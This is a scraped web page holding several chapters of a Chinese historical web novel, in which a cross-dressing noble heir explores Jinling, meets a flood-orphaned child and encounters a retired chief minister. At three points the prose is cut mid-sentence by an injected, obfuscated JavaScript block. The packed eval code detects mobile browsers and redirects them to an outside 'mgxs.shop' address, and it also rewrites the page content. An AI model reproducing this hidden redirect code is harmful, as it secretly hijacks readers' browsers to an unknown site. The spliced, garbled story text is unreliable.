;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那人却不满意了,嚷嚷道:“我能不知道诗经?小小姑娘最近钟爱诗经,经她一唱,整个金陵都传遍了!” “好你个孙阿牛,敢情你是听不着小小姑娘唱的歌儿,所以故意来我这找存在感了是吧。” 台上的颖儿姑娘叉着细腰呵骂,模样泼辣,半点也没有京城歌女们逢迎曲意的模样。 “就说你唱不唱吧。”孙阿牛闻言也不怵她,笑嘻嘻道,“你不说自个儿唱歌一绝?怎么的,不敢跟小小姑娘一较高下了?” “我有什么好不敢的?你等着。”颖儿姑娘说完,自寻了张矮凳坐下,挑拨弹按出一段曲调来,随后开口曼唱道:“蒹葭苍苍,白露为霜。所谓伊人,在水一方。溯洄从之,道阻且长;溯游从之,宛在水中央。蒹葭凄凄,白露未晞……” 曲调从平和渐转渐高,曲声悲愁中又带了些奇异的坚忍意味,叶青言听着听着,眼前渐渐展开一卷图画。 ——残月已没,旭日未起,一袭布衣的寒士彷徨地走在泠泠流水的小河边,点缀着晶莹白露的野草在秋风中酝酿起悲凉的秋意,河上弥漫着厚重的白雾,前程一片未知迷茫,不知何去何从?就在此时,雾中传来女子幽幽的叹息与呼唤。但那迷雾实在太厚太重,佳人芳踪难觅,寻访佳人的寒士上下求索,皆难遂心,是那样地徘徊不安,愁苦难言…… 唱曲的颖儿姑娘嗓子极好,配上铮铮的琵琶,宛如天籁之音。 一曲唱罢,众人纷纷叫好,唱台上随之响起叮叮当当的铜板落台声。 叶青言也随着人流往台上扔去铜板。 颖儿姑娘见状露齿一笑,弹指挥弦间已将《蒹葭》之乐转为了活泛俏皮的《采莲》。 叶青言环顾四周,心中感叹金陵百姓的豁达放任,这一份包容,远非大庆其他地方所能比拟,便是京师也略逊一筹。 这里的歌女亦与其他地方的不同,她们大方、开朗、自信,真正地把唱歌当成一种事业,半点也不觉得自己从事的职业低人一等。 这样很好,凭自己的本事赚钱,真得很好。 56. 独逛金陵(下) 金陵的夜晚奢华而糜烂,火舞银蛇,灯火通明,直如天上不夜城。 这座城市是没有宵禁的,尤其是秦淮河畔,一概不禁夜市交易,不禁人群狂欢,只要你有足够的财力与精力,便能在此彻夜狂欢到天明。 未来金陵之前,叶青言便听人提过秦淮一带的风气,据闻到这儿寻欢的人们大多喜好水色,乐户们便投其所好,花费大价购置画舫,依水而居,凭此来招揽人客。 这是叶青言第一次踏上秦淮河畔。 即便她出身富贵,自小就见过很多大场面,也还是忍不住为眼前的景色所震撼。 临河而建的淮水街上,买卖人的吆喝声此起彼伏,每一个商贩的小摊面前都挂着两到三盏花灯,照得眼前一片亮堂。 但叶青言的视线并没有落在这些商贩之上,她站在人群熙攘的秦淮河边,举目前望。 眼前是一艘艘挂着五彩旗幡的画舫,伴着数不清的小木舟以及一眼望不到头的江灯,浩浩荡荡地飘荡在秦淮河里。 灿烂辉煌的灯色施施然从画舫里飞出,映衬着河面上的一片江灯,光芒灿灿如骄阳,直洒得满河金砾。 同时有焰火在空中炸开,漆黑的夜空骤然绽放出瑰丽绚烂的花朵,让人目眩神迷。 这里的夜色与大庆其他地方的夜色迥乎不同,便是天子脚下也难见这样璀璨的灯火。 如果说京城的颜色是庄严的黑与高贵的紫,那么金陵的颜色就是耀目的金与热情的红,如此繁华,无怪此地能被古往今来的一众文人誉为南方第一大城。 烟花落幕,灯光依旧。 河岸边上,叶青言充满打量的目光终于从四周灯火,转到了画舫之上。 透过画舫飘飞的纱帘,隐约可以看见里边歌台舞榭,飞花流莺,舫前摇曳生姿的姑娘们只着一身轻薄纱衣,那衣裳是真得很薄,是哪怕隔着夜色也能看清其中一个姑娘脖子上那一枚朱砂痣的薄透。 穿着如此轻薄的纱衣,可姑娘们却仿佛感觉不到寒冷,依旧笑意吟吟地朝着河畔上的男子们招手。 叶青言看着那些姑娘,又仔细扫了眼画舫,才发现画舫四周都布置了炭盆,炭盆里正烧着红彤彤的炭火。 然冬季湖面的刺骨冷意又岂是一两个炭盆就能驱散的? 叶青言静静看着秦淮河中的画舫,很快她就发现——每有一个男客牵起其中一位姑娘的手时,那姑娘眼里所迸射出的欢喜是那样的真心实意。 ……如何能不欢喜呢? 只需被客人选上,就能被他牵着带进画舫,不必吹风挨冻。 一个、两个……越来越多的姑娘被人牵进画舫,同时又有同样数量的姑娘从里头走出,画舫前的姑娘数量始终保持不变。 看着看着,叶青言突然就觉得没意思了。 明明一个时辰之前,她还在为金陵大方自信的歌女而震惊感慨。便是一刻钟前,她也还在感慨金陵的富庶繁华,可就这一会儿的功夫,便让她发现这些繁华、富庶的背后有着无数正受压迫女子的身影。 甚至可以说,就是这些可怜的女子撑起了这座城市的富庶。 何其荒谬。 这世道,对女子一向不公。 再次意识到这一点,叶青言的心情异常沉郁,她突然就没了继续再逛的念头,转身正欲离开,忽觉衣角一动,似被什么东西扯住,低头一看,才发现身边不知何时竟站了个小女娃。 那女娃瞧着才六、七岁的模样,黑乎乎的手和脸,头发也是稀稀疏疏长长短短,身上还残留着烟火熏烧的味道。 旁边面摊的小贩见状,忙上前来,一把将小女孩拉倒身后,连声告罪。 叶青言看了看小贩,又看了看小女孩,眼中的不满非常明显,她知晓时下的人都重男轻女,可如此对待自家女娃也实在太过,这让她本就沉郁的心情变得愈发不满起来。 小贩见叶青言脸色不愉,不由更紧张了起来,他将女孩整个挡在自己身后,小心翼翼地看了眼叶青言被女孩小手抓黑的衣服下摆,咬了咬牙,道:“公子您这衣裳多少钱?我赔给您。” 叶青言注意到小贩的动作,心下郁气稍缓,道:“不用,你与其拿钱赔我,不如给自己女儿买身新衣。” 小贩一怔,说道:“她……她不是我女儿啊。” 叶青言诧异。 看着叶青言的表情,小贩隐约似乎有些明白对方为何不悦,忙解释道:“这女娃名唤晴晴,她家原本在溧阳县下的永福村,今夏金陵河暴涨,导致西岸决堤,溧阳县就坐落在决堤口下,而被暴涨河水淹成了一片汪洋,好在县令大人料事如神,事先遣散了该地村民,但也有几个不愿离开的老人被洪水吞没。” 提及秋季大水,无论是小贩还是叶青言都是一脸凝重,气氛一时沉重。 微顿了顿,小贩继续说道:“后来大水退去,他们本该回去重建家园,可谁知溧阳县的正中间竟洪流淹没,硬生生被冲出了一条新的河流,晴晴她家所在的永福村就在那条河中,县令无法只能补些银子,让河水被淹的村民们投奔亲戚,他们一家便来到了这来,就住在秦淮后街的一条巷子里。但那个地方几日前起过一场大火,她的母亲好不容易逃过洪水,却又被活活烧死在那场火里,这孩子因为贪玩外出才逃过了一劫,可怜孩子她爹因为受不得失偶之痛,变得疯疯癫癫,成天就待在火场里到处乱挖,口中一直呢喃着要找到娘子……”说到这里,小贩长长叹息了一声,“也是个可怜的,那悯娘被烧死的时候,肚子里还揣着一个小的,据说已经怀孕三个月了。算起来这娃娃也是我的表侄女,见她一直无人照料,我便将她接过来暂时收留,不想却冒犯了客人您。” 看着叶青言身上灰白的锦衣,小贩赔笑再道:“孩子她娘也有一身与您同样颜色的衣裳,她想来是认错了,望您勿怪。” 晴晴姑娘讷讷地站在小贩身后,听对方说起自己的父母,无声地哭了起来。 叶青言看着小姑娘的眼泪,心下深深叹息了声,她转眸望向小贩,言道:“你能留她,可见是个善心人,都说天道昭彰,做善事得善果,好人会有好报的。” 小贩闻言笑了起来,说道:“您这话我爱听,我们这些个穷苦人,不就是你帮帮我我帮帮你?谁又能保证自己一辈子都碰不上难处呢?” “是这个理。”叶青言想了想,从袖袋里拿了五两银子出来,递给小贩。 没等她开口说话,小贩就连连摆手起来,道:“使不得使不得,客官您赶紧收起来。” 叶青言:“不是给你的,是我对这孩子的一片心意。” 小贩还是摇头:“娃娃已经坏了您一件衣裳,这样好的料子,您不要赔偿已是善心,我万万不能再要您的银子。” 见人坚持,叶青言也不勉强,她将递银子的手收回,侧目看了眼旁边的面摊,说道:“有些饿了,小哥你给我煮碗面吧。” “好咧,客官您请坐,我这就给您做去。”小贩笑着吆喝,说罢就去到简易的搭棚下煮面。 那个叫晴晴的小女孩依旧站在原地,目光一眨不眨,始终落在叶青言的身上,更准确的说,是落在她的衣裳上。 叶青言看着她,良久,冲她招了招手。 小姑娘见状,下意识挪步上前,可没等走近,她突然哇一声哭了,跟受惊的小鹿似的,一溜烟往前边的一条巷子里跑去,连头也不回。 叶青言呆了。 小贩看到这一幕,说道:“她之前应该是把公子您当成娘亲了,走近一看才发现自己看错了,所以就……” 想想这话不对,小贩连忙又解释道:“是因为衣服的关系,我不是说您像女子,我没有别的意思。” 叶青言笑笑表示无妨:“她这是去哪?” “应该是去找她爹了。” “他爹?” “大山是个坚强的,他会挺过来的。”小贩叹道。 叶青言想了想,问:“那火怎么起的?” “是他们家隔壁的一个老婶子,正烧着火做饭呢,听到巷子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178033|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里来了补鞋匠,就匆匆忙忙出去补鞋了,谁想不过一会儿的功夫,大火就烧了起来,她家比大山家还惨,不仅家没了,两个孙子连带一个孙女都烧没了,儿子媳妇知道后也不认她了。” 叶青言听罢沉默。 类似这样的事情,大庆之内,时刻都在发生。 朝廷的政令或许能避开一些祸端,可有些天灾人祸,却是人力所无法更改的。 这么想着,叶青言不由再次看向了河中画舫,心中同时生起一抹惘然。 不多时,面就煮好送了来。 面条是装在一个大号的青花面碗里送来的,连面带汤,也只占了大碗的三分之一,看着甚是干净雅致,碗里汤清肉红菜绿,烫熟的面如一团丝线般静静平卧碗底,小贩还贴心地给叶青言端了几碟小菜来,面碗的四周如众星拱月般地簇着几碟小菜茶点。 叶青言看着甚觉稀奇,拿起筷子尝了一口,细细的面条根根筋道,应该是打了鸡蛋进去的缘故,咬着很是弹牙,吃起来香而不腻,很是美味。 “很好吃。”叶青言赞道。 小贩听了很高兴,说道:“不是我自夸,您别看我这只是个小摊,但我的面可是金陵城里出了名的好吃,尤其是寿面,我做的寿面最好,又长又细,可惜公子你是外乡人,不日就会离开,不然生辰时定要来我这吃碗寿面。” 叶青言闻言一怔,随即她想起今日是二十七,正好是自己和欢姐儿的生辰。 一直在外奔波,她差点就忘了。 叶青言抿了抿唇,继续低头吃面。 小贩见状,也不多话,转头自去忙活了。 叶青言安静地吃着面,一碗面连带汤都被她吃了下去,一滴不剩。 吃完了面,叶青言在桌上留了锭银子,起身离开。 小贩是个眼尖的,一下就看到了叶青言放在桌上的银锭,没办法,干他们这一行的,收钱必须要快,不然极有可能被路人给顺走。 小贩拿着银子追上叶青言,连声道:“公子使不得,真使不得。” “这是给你的面钱。”叶青言道,顿了顿,她又补充了一句,“面很好吃。” 小贩还是摇头:“我这面才三十个铜板,哪里用得着五两这么多。” “就收下吧。”叶青言说道,“我是晌午那会换的衣裳,也不知怎地就穿了这身,想来也是我和她的缘分。” 小贩看着叶青言,确认对方是真心实意的,才收下了银子,郑重说道:“那我就替晴晴谢过您了,您是好人,会有好报的。” 叶青言笑了笑,摆摆手走了。 回到客栈。 叶青言看到了一个人。 那是个一身黑衣的青年,他就站在客栈大堂得正中间,手里捧着一个盒子,微抬着下巴,神情漠然,根本不在意自己站在这里会给别人带去多少不便。 好在此时已经是夜里,客栈里人不多,他那样站着,也不显突兀。 叶青言不认识这个人,但她认识这人挂在腰间的玉佩,那是殿下身边暗卫的信物,看到玉佩的当下,叶青言就确认对方是来寻她的。 果然黑衣人见她进来,立时躬身行礼。 “叶公子。” 不等叶青言询问,他便走上前来,递上手中捧着的盒子。 “这是主子吩咐我务必今日给您的。” 叶青言接过盒子,几乎是瞬间,她就了然这是殿下送给她的生辰贺礼。叶青言心下涨涨的,微有些酸,但感觉很好。 会有人记得她的,嗯……无论如何,殿下总会记得她的生辰的。 黑衣青年送上盒子后便无声地离开了,叶青言也不在意,拿着盒子便回房了。 回到房间,将盒子打开,里面是一册孤本。 是叶青言久求不得的那一册孤本。 难怪殿下当时让自己不要再找了,原来东西已经在他手里了啊。 叶青言微笑了起来。 她在夜灯下微笑,她笑得极烂漫,极满足。 57. 惜阴文社 十一月下旬的金陵,绿树成茵,溪水九曲,山茶灿烂,端得一派生机勃勃之景。 可同一时间的京城,却是百花凋敝,唯有数株红梅破蕊。 昨夜晚间下了京城的第一场雪。 这场雪落了整整一夜。 第二日起来,就见地上堆了厚厚一层积雪,好在这会儿的雪已经停了。 太阳从东边冒头,打眼一瞧,就知今日也会是个艳阳高照的好天气。 国公府后院,一众丫鬟婆子们正在谭嬷嬷地督促下快速清扫地上的积雪。 可不能让夫人看到这满地积雪,她会不高兴的。 当年,也是在这样白雪皑皑的日子里,从前线传回国公爷的死讯。夫人无法接受这个噩耗,从怡然居里跑出,不慎被积雪滑倒,差点一尸三命。 自那以后,夫人便再见不得满地落雪。 昨日是叶青欢和叶青言的十六岁生辰。 虽然叶青言不在,可李氏还是为女儿大办了一场,府里上下都得了赏钱和两套过冬的新衣。 扫雪的丫鬟婆子们穿着厚实的新衣,所以即便早早就要起来干活,脸上也依旧扬着喜气的笑容。 有几个年纪小的丫头挨在一处,一边扫雪一边悄声说着自己昨日看到的场景,那与有荣焉的模样,仿佛昨日过生辰的人是她们似的。 …… “也不知二殿下让人送来的是什么贺礼。”其中一个小丫鬟好奇地说道。 另一个丫鬟闻言,也道:“殿下送的肯定是好东西,宫里的东西就没有不好的。” 其他人纷纷点头赞同。 “还有沈小侯爷,他着锦绣楼送来的那套红宝石头面,我远远瞧了一眼,闪闪发亮的,可好看了,据说是最受时下贵女喜欢的样式!” “你居然瞧见了!”另几个丫鬟听了非常激动。 说瞧见的小丫鬟挺了挺胸脯,骄傲道:“是呀!我去送茶水路过的时候瞧见的,可漂亮了。” “真好啊……” “咱们大小姐人美心善,值得这些好东西!” “不错不错!” “还有大少爷呢,听望舒姐姐说,大少爷早早就给小姐准备了生辰礼,就等着昨日送出。” “大少爷对小姐可真好,都出去游历了还记得给小姐送礼物。” “是啊,有大少爷这样的兄长可真是幸福。” 谭嬷嬷在旁,也听到了小丫鬟们的嘀嘀咕咕,但她没有呵斥,只要说得不过分,她一般不会干涉。 听着丫鬟们的对话,谭嬷嬷也想起了叶青言。 也不知大少爷在外游历得如何了,昨日可有吃上一碗长寿面……想到这儿,谭嬷嬷不觉抬头望向了南边。 就在这时,从前方院子里跑出来一个小丫头,脆生生喊道:“谭妈妈,夫人起了,正唤您呢。” “我就来。”谭嬷嬷听罢应道,又嘱咐了扫雪的丫鬟婆子们动作快些,而后便往院子里走去。 她边走边问那丫头:“夫人几时醒的?” 小丫头:“刚醒没多久,夫人醒来就叫您了,见您不在便让我来找您。” 谭嬷嬷闻言皱了皱眉,问:“那夫人这会儿在做什么?” 小丫头见状,有些怯怯道:“奴婢出来的时候,见夫人在看书。” 说话间,两人便来到了李氏的屋子前。 谭嬷嬷撩开帘子进门,就看到李氏坐在临窗的大炕上,手里拿着本书,但她的视线并没有落在书本上,而是透过窗棂,神情木然地看着院子里的青石小径,小径上的积雪已经被丫鬟们清理,道路两侧的梅树恣意伸展着枝桠,红蕾初绽,看着很是美丽。 但远处的青砖碧瓦上依旧堆积着白雪,阳光照在积雪上,湿冷的气息随之融进空气里,伴着北风悄然流进屋子,带来令人透骨的严寒。 “夫人。”见人竟就这样坐在窗边,谭嬷嬷忙拿起一旁的貂氅披风给人披上,嘴里说道,“今儿天冷,您该多穿些。” 李氏没有回答,她的目光已经望向屋顶上的积雪,说道:“昨夜的雪可真大啊。” 谭嬷嬷闻言,手一顿,她小心翼翼地看了李氏一眼,温声问道:“您可是觉得冷了?” 李氏摇了摇头:“我昨晚梦到国公爷了……他问我怎么没有给阿言准备生辰礼物。” 屋里一片安静,没有任何声音。 有风从云层上飘落,刮得屋顶上的碎雪在空中飞旋打转。 谭嬷嬷不知如何劝慰李氏,她是李氏的身边人,从小就跟在李氏身边伺候,最是了解她的秉性。 她能看出李氏这是在愧疚。 因为愧疚,所以她不敢面对少爷,可每到夜深人静之时,那些愧疚又会席卷而来,她不断地告诉自己,她没有错,她是对的,于是她更加严厉的对待少爷,下意识地无视她,忽略她。 久而久之,她变得越发愧疚,同时也变得越发不敢面对。 如此一直,循环反复。 或许是因为昨夜下了今年的第一场雪,也或许是因为昨日是大少爷第一次没有在家中过生辰,亦或两者皆有,而让夫人的心里防线崩溃,做了那样一个梦。 谭嬷嬷张了张嘴,想要劝诫,却又不知如何说起,然没等她想到安慰的言语,就听夫人喃喃再道:“我没有错,我没有做错,我所做的一切都是为了她好,为了她们好,我没有错……” 金陵。 茅山书院下的惜阴文社里,有五名学子团团围住中间一名学子,几近放光的视线牢牢盯着那名学子手中的一封信。 “叔夜兄,快,快拆开!”其中一名学子迫切说道。 读书人做事一贯讲究从容不迫,这样猴急慌忙的言行若放在平日,定会被人嘲笑,但此时却没人在意,在场其他人也纷纷出言催促。 被叫叔夜的学子也不拖沓,利落地拆开那封落款“青山”的信,拿出里面的纸张,其他几个学子见状,顿时围得更近了,他们也不说话,就这么凑在一块品阅起了那篇名为《学无止境》的文章来。 这几个学子正是惜阴文社的创办人,他们出钱出力,每月收集文章,从中择出优秀作品,交予书坊排印成册,再分发给文社社员们赏读交流。 从今岁三月时起,他们每月都会收到这位名号“青山”的学子所投寄来的文章,其所作之文章笔力稳当,用词浅显却不生涩,叙事角度清晰精准,隐隐还带了几分清新雅逸,这样的文风不说在当代,便是古往亦是少见。 众人初初见之便爱不释手。 他们一直很想找到这个人,可对方实在藏得太深,他们便也只能作罢。 但对每月的品读时间,都十分期待。 几人读完之后,久久没有言语。 还是文社社长崔瑾崔叔夜率先发声:“果然又是一篇佳文,青山的水准一如既往,以我之见,此文依旧可做卷首。” 其他人纷纷点头赞同,其中一个学子看着崔瑾手里的文章赞叹道:“时下众人皆追求行文华丽,遣词造句也是斟酌再斟酌,力求字字完美,青山兄却给了我们一个新的思路,用最朴素雅正的字句将所要表述的意思直接阐明,相信众人只要看过这篇文章,便能将农家子弟科举之路的艰难了解个七七八八。” 另一个学子听罢,也道:“不仅如此,细细再看,文章里还提及了农门最重视的田地问题,将豪绅地主等阶级趁天灾低价囤田的弊端批得体无完肤。” “阮师兄才高八斗,师弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183793|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还从未见你对谁服气过,如今却这样夸奖青山,我听着还真是不习惯啊。”一学子笑着打趣道。 其他人闻言也都笑了起来。 被叫阮师兄的学子闻言也不恼怒,反而自己也打趣起了自己:“可惜我不是女娇娘,不然定要寻到他,好以身相许。” 众人听罢,再度哄堂而笑,便是一贯沉稳的崔瑾也忍不住调侃道:“这样笃定?你就不怕对方是个年长的老举子,家中早已儿孙满堂?” “不可能。”阮则笃定道,他指着文章,侃侃说道,“从他的行文遣词就可以看出他应当是个少年人,还是个看似温和有礼,实则浑身都是锋芒的俊俏小少年。” “你简直越说越玄乎。”崔瑾摇头失笑。 “我这可都是有理有据的推论。”阮则说道,“你们若是不信,咱们便再去寻他,我就不信找不出他来。” 其他几人闻言,也都有些意动,他们实在好奇青山的年纪。 崔瑾想了想,制止道:“他不在金陵,此时应当也不在应天府,我们找不到他的。” 阮则一怔,问:“何以见得?” 崔瑾示意了手中的文章:“他每回提供的文章都是策文,显然是在为年后的春闱做准备,来年春闱在三月,有意赴考的学子此时应已聚集皇城,好读书修养,习惯京城的气候,哪里还会在外浪费时间。” 几人听罢,都觉这话有理。 阮则叹道:“看来今岁是无缘一见了。” 崔瑾拍了拍他:“只要咱们都好好读书,总有机会见的。” 就在惜阴文社几人怅然若失的时候,他们口中的青山却在金陵河边游览。 她游览的不是秦淮内河,而是金陵外河。 金陵外河起源于陇县八渡镇赵家山以南,流经陈仓、金台、渭滨等多个地方,最终汇入渭水。 河以城名,足见其重要性,可以说金陵这个城市就是托生于金陵外河而来的。 金陵外河不同于秦淮内河,这里没有鼎沸人声,也没有画舫佳人,但运河水道也不曾空闲,有不少船只在河上往来穿梭。 ——北上的官粮船上,插的是漕运的大旗,由披甲握刀的士兵们站在船头上押送。 ——民间的乌蓬船上,满满的都是俏货,各式各样的商品看得人眼花缭乱,最出奇的是其中一艘大船上所载着的几笼异样禽鸟,五彩缤纷的不知是什么品种。 叶青言站在桥头看得出神,有个卖花的小姑娘,提着花篮从他身边经过,脆生生地问她可要来上一朵。 叶青言想了想,从中挑了一朵碗口大的山茶花,付了银子。 小姑娘喜滋滋地提着篮子继续往前叫卖。 叶青言只在桥上站了一会儿,便牵着马儿走下桥梁,她今日来此,不仅是为了游览,更是为了观察。 据闻金陵河内沟壑纵横,地势起伏极大,所以此处经常发生洪水灾害,昨夜她也从秦淮河畔的小贩口中听到了洪水过后的惨状,今日当然要前往一看。 骑着马儿一路往前,叶青言很快就看到了溧阳县。 马儿走在溧阳刚修整不久的官道上,远远便能望见那处决堤的口子,眼下那口子已经成了新支流的河口,浑黄的河水不断往外涌出。 这条新的支流把整个溧阳一分为二。 支流两边,新的堤坝已经建好,堤坝之后,一间间崭新的茅草屋排排而立,依稀还是可以看见原先房屋倒塌所残留下的痕迹。 不远的田野外,到处都堆着被百姓清理出来的河沙,清理干净的田里空空荡荡的,等着来年开春便能种上粟米或是小麦。 但还有更多的田地依旧被厚厚的河沙所掩埋,所以田间随处可以看见清理河沙的村民。 58. 槐青居士 已是冬时,尽管金陵天候湿暖,却也挡不住寒意来袭,尤其此地位于江□□汇处,冷风不断地从四面灌来,如刀刺骨,渗肌透肤。 这个地方的风,一点也不比北方的冬风逊色。 叶青言走在岸边,任由冷风拂面,不过一会儿的功夫,她的面庞就被寒风冻得有些青紫。 只是行走便已如此,更遑论远处那些还在泥田里淘沙的村民们? 叶青言没有在意寒风,她依旧牵着马儿往前,她想去到田间看看,看看村民们是如何劳作的。 穿过村内新盖的民房屋群,叶青言来到一处弯曲的小径前,这条小径很长,道路狭小弯曲,一直蜿蜒到远处田间。 看着眼前小径,叶青言想了想,还是将马儿系在旁边的树干上,独自一人走上小径,越往前走,脚下所踩的道路就越泥泞难行。 终于,她来到了田埂前。 还未靠近田地,她便先看到了一张桌案。 案上有一炉火,数枝红梅,和一张宣纸,数盘颜料。 案前则站着一名青衣老者。 那老者头发花白,着一身轻便的寻常衣袍,手中捻着硬毫细笔,正一笔一笔地往宣纸上描画。 怎会有人在此摆案作画?叶青言十分诧异。 老者正描得仔细,却在抬手去沾朱颜的瞬间,对上了叶青言的眼。 那是怎样干净清澈的一双眼,干净得就像被水洗过的星空一般。 叶青言同样在看老者的眼,那是一双睿智而淡定的眼,仿佛早已看透了世事,看破了红尘,只是带着一丝悲悯与宽容俯视众生。 “小友从何处而来?”老者率先出声打破两人之间的沉默。 叶青言拱手作揖,礼貌回道:“小子日前从北面而来,听闻此地遭了洪灾,洪水将村镇一分为二,故特来一访。” 老者摆了摆手:“不过民生艰难,有何好访?” “正因民生艰难,小子才会到访,若有需要,小子任凭差遣,只愿能以绵薄之力助村民们渡过此劫。” 老者闻言,上下打量了叶青言一番,良久,说道:“你有心了。” 叶青言看了看老者,又看了看前方正忙碌的村民们,沉吟片刻,还是问出了自己的问题:“老先生为何要在此处作画?” 老者闻言挑了挑眉,不答反问道:“老朽为何不能在此处作画。” 叶青言指着远处忙碌的村民,说道:“村民们如此忙碌,您却在此悠闲作画,如此未免不好。” 叶青言没有明说哪里不好,但老者岂能不知,他笑了笑,问:“那你看他们可有被我影响?” 叶青言下意识又往田间看去。 这一看,竟让她发现田头里有好些穿着衙役服的差役也在帮忙清理泥沙,且干得十分卖力。 “那些差役……”叶青言惊讶地看着正在田头间忙活的差役们。 老者顺着叶青言的目光一起看了过去,说道:“那些都是溧阳县令派来帮助村民们一起重建家园的衙役,他们得赶在小雪之前将田地清理出来。” “为何?”叶青言再次不解。 “俗话说‘小雪封地地不封,老汉继续把地耕’,要想来年有个好收成,村民们得趁着天气最冷的时候,把地翻耕一遍,冻死虫卵,再把霜雪埋进土里,以此来滋养土地。” “若是小雪之前,地里的泥沙还没有清理完呢?” “泥沙清理不净的土地,是无法种植粮食的,那便只能沦为荒地了。” “洪水是夏季时候爆发的,眼下已是严冬,为何不早些清理泥沙。” 老者闻言笑了起来,他看向叶青言,问:“你过来的路上可有看到新起的堤坝和房屋?” 叶青言点头。 “如此,可还要老朽再回答这个问题?”老者驼背羊髯地站在寒风中,宛如一棵不朽的老树。 叶青言一怔,随即恍然,重设堤坝是防止洪水再来,搭建房屋是为了让村民们有栖身之所,无论哪一样都比田地重要…… 事有轻重缓急,想明白了这一点,叶青言羞愧地摇了摇头:“是小子思虑不周,多谢先生解惑。” 老者摆了摆手,道:“你问了我这么多问题,可你却还没有回答我的问题。” 叶青言一怔,仔细回想对方刚刚的问题。 ——方才他问,村民们可有被他作画的行为影响。 叶青言看着前方辛勤劳动的村民和差役们,说道:“没有。” “你可知这是为何?” 叶青言认真地想了想,再次拱手作揖:“还请老先生赐教。” “因为老夫还在作画。”老者说道,迎着叶青言疑惑的目光,老者笑笑继续道,“人都有从众心理,尤其是在面对未知恐惧的时候,所有人的第一想法都是从众,这种时候,只要有人能在第一时间表现出积极放松的情绪,那底下的村民们也会跟着一起放下心中顾虑。” 叶青言闻言,不由顺着对方的话语,认真思考了起来。 老者见状,循循再道:“百言不如一行,灾难时尤是,很多事情,不是一时间就能说得清楚的,但却能感受得到,我还在这里,衙役们也在这里,村民们见我如此松弛,又有衙役们的倾力帮助,下意识也会跟着放松下来。” 叶青言依旧沉思,片刻后,抬起头来,看向老者,问:“所以您是?” “我是?” “小子是问您的身份。” “我的身份很重要?”老者静静看着叶青言,他的双眼宁和而深幽,仿佛能够看穿一切。 叶青言静静与之对视,她虽年纪不大,却是很有自己看法的一个人:“如您所言,您是一位能带动村民情绪的领头人,若只是一个普通村民,又如何能做到这一点?” 听了叶青言的反问,老者哈哈笑了起来,说道:“我一见便知你是个聪慧的孩子,不出所料,你果然很聪明。” “老先生谬赞了。”叶青言谦虚作揖。 “溧阳县令乃我幼子。”老者也不卖关子,直接道出了自己的身份。 听了这个回答,叶青言沉默了很长时间,无声地在心中将前后理顺,方了然道:“原来如此。” 老者听罢挑了挑眉,笑问道:“你果真已经明白?” “我确实已经明白。”叶青言说道,顿了一下,像是思考,又像是为了组织接下来的语言,半晌,她才再开口道,“您会来此,想必是与县令大人商量过后的结果,毕竟您的身份摆在这儿,有您坐镇,受灾的村民们便不会去县衙寻县令麻烦,没有被村民的负面情绪绊住手脚,县令大人便能稳住衙门的正常运作,衙门稳定了,县郡也会跟着稳定;县郡稳定了,所有的赈灾事宜就能有条不紊的顺利进行;百姓们见了,心境自然也会跟着彻底稳定下来。” 叶青言说罢,凝目看向了前方。 已是晌午,阳光如剑一般刺破清晨的薄雾,将温暖带给这片宁静的土地。 晨阳下,百姓和衙役们一起在田间劳作。 汗水伴着欢声笑语洒在潮湿的土壤上。 远处的茅草屋冒着炊烟,饭香飘得到处都是。 此处虽破败不已,却依然存着希望。 “便是在这样的潜移默化之下,溧阳县里那些因为洪灾而起的人心惶惶,就在原处又缓缓落了下去。” 话语落下,寒风微作,有落叶微起。 “我必须要再夸你一次,你是真得很聪明。”老者看着眼前年岁正茂又颖悟绝伦的年轻人,藏不住欣赏的目光,再一次真心夸赞道。 叶青言怔了怔,毕竟还是个少年,被一位睿智的老者这样两次三番的夸奖,也还是忍不住开心地笑了起来。 老者见状,也笑了起来,问道:“不知小友何名?” 叶青言礼貌回答:“小子姓叶,名青言,字思砚。” “行成于思,磨穿铁砚,好名字。”老者赞了一声,而后再道,“听你的口音,你是从京都来的?” 叶青言点头:“小子此番南下,是为游学而来。” 老者看着叶青言,眼里的欣赏之意更甚 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这幅画的意境极好,比刚才的江口入海图还要更好,但叶青言的注意力却被画卷右下角的印章所吸引。 “槐青居士……您是陈阁老?”叶青言十分震惊。 “你知道我?”老者也有些意外,反问道。 他说话的声音很温和,神态也很随意,却是直接承认了自己的身份。 槐青居士陈宴左是先帝时期的辅政大臣之一,他与出生世家的高朗高丞相不同,他来自底层。 彼时朝廷禁止科举,他凭借自身学识得了县衙主簿的职位,其后数十年间,经数次迁职,最后进入工部,五十余岁方任工部尚书,负责屯田、水利等事物,后又晋为中书舍人,掌管中书省事务,行使宰相权力。 他任职期间从不懒怠政务,亦不凭空捏造,时常亲赴各地考察农桑工事。 他认真负责的做事态度,深得先帝和高丞相的器重,先帝在位之时,时常对其委以重任。 